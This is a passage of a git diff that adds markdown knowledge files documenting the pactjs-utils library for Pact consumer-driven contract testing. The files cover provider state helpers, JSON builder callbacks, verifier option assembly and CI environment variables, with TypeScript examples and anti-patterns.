index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
